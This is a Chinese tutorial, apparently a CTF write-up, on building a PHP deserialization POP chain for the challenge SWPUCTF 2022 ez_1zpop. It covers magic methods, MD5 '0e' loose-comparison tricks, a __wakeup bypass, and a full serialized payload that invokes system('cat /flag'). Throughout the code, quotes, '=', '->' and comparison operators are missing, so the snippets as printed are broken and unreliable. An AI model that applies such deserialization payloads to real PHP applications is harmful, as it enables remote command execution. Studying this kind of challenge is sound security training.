新手也能懂的PHP反序列化POP链：从CTF题[SWPUCTF 2022]ez_1zpop讲起

PHP反序列化POP链入门从零构建攻击链的积木思维第一次接触PHP反序列化漏洞时那些神秘的魔术方法和复杂的调用链总让人望而生畏。但当我真正理解其中的逻辑后发现这就像小时候玩的积木游戏——只要找到正确的模块和连接方式就能搭建出意想不到的结构。今天我们就用这种积木思维通过一道典型的CTF题目[SWPUCTF 2022]ez_1zpop带你走进POP链构造的世界。1. 认识POP链的基本组件POP链Property-Oriented Programming Chain本质上是一系列对象属性和方法的巧妙组合通过反序列化过程触发特定的代码执行路径。就像搭积木需要了解每块积木的特性一样构建POP链需要掌握几个核心组件1.1 魔术方法POP链的触发器PHP中的魔术方法会在特定事件发生时自动调用它们就像积木上的连接点__construct()对象创建时触发相当于积木刚拆包装__destruct()对象销毁时触发相当于拆除积木的最后一步__wakeup()反序列化时触发相当于从图纸重建积木__toString()对象被当作字符串使用时触发相当于把积木当作字母使用在ez_1zpop题目中lt类的__destruct()方法会调用__toString()这就是我们链条的起点。1.2 关键属性POP链的传动轴类属性在POP链中扮演着传递控制的角色class lt { public $impo; // 这个属性将成为连接不同类的关键 public $md51; public $md52; }通过精心设置这些属性值我们可以让程序执行流按照我们设计的路径流动。1.3 漏洞点POP链的终点站每个有效的POP链都需要一个最终执行点通常是可以执行代码的地方。在ez_1zpop中fin类的fmm()方法中存在动态函数调用function fmm() { $b $this-a; $b($this-title); // 这里可以执行任意命令 }2. 搭建POP链的积木步骤2.1 确定链条的头尾构建POP链就像规划积木建筑的入口和出口头部通常是自动触发的魔术方法如__destruct()尾部最终执行代码的位置如fmm()中的动态调用在ez_1zpop中头部lt::__destruct()→lt::__toString()尾部fin::fmm()2.2 连接中间模块我们需要让执行流从头部顺利流向尾部。观察__toString()中的条件if (isset($this-impo) md5($this-md51) md5($this-md52) $this-md51 ! $this-md52) { return $this-impo-fmm(); }这需要满足三个条件impo属性已设置md51和md52的MD5值相同但原始值不同impo对象有fmm()方法2.3 解决MD5比较问题PHP的弱类型比较允许我们使用0e开头的MD5值绕过字符串MD5值特性s155964671a0e224554469科学计数法视为0s214587387a0e848240448科学计数法视为0这两个字符串的MD5值在弱比较()下相等但原始值不同。3. 完整POP链构造实战现在我们把所有积木块组装起来3.1 创建恶意对象结构?php class lt { public $impo; public $md51 s155964671a; public $md52 s214587387a; } class fin { public $a system; public $title cat /flag; } $fin new fin(); $lt new lt(); $lt-impo $fin; // 连接关键节点 echo serialize($lt); ?这段代码会输出序列化后的POP链。3.2 绕过__wakeup限制题目中的__wakeup()会重置impo属性我们需要通过修改属性数量来绕过原始序列化O:2:lt:3:{...}修改为将属性计数改为4O:2:lt:4:{...}3.3 最终Payload构造将生成的序列化字符串进行URL编码后作为NSS参数传递?NSSO:2:lt:4:{s:4:impo;O:3:fin:2:{s:1:a;s:6:system;s:5:title;s:9:cat /flag;}s:4:md51;s:11:s155964671a;s:4:md52;s:11:s214587387a;}4. POP链的调试技巧在实际构造过程中可能会遇到各种意外情况。以下是几个实用的调试方法逐步验证先测试MD5比较是否通过再测试方法调用错误日志开启PHP错误报告查看执行路径替代函数先用var_dump代替危险函数测试执行流属性跟踪添加临时属性记录执行状态// 调试示例 class lt { public $debug ; function __toString() { $this-debug . 到达__toString\n; // ...原有代码... } }记住构建POP链就像玩解谜游戏——需要耐心尝试不同的组合方式。当我在第一次成功构造出完整链条时那种啊哈的顿悟时刻正是安全研究的魅力所在。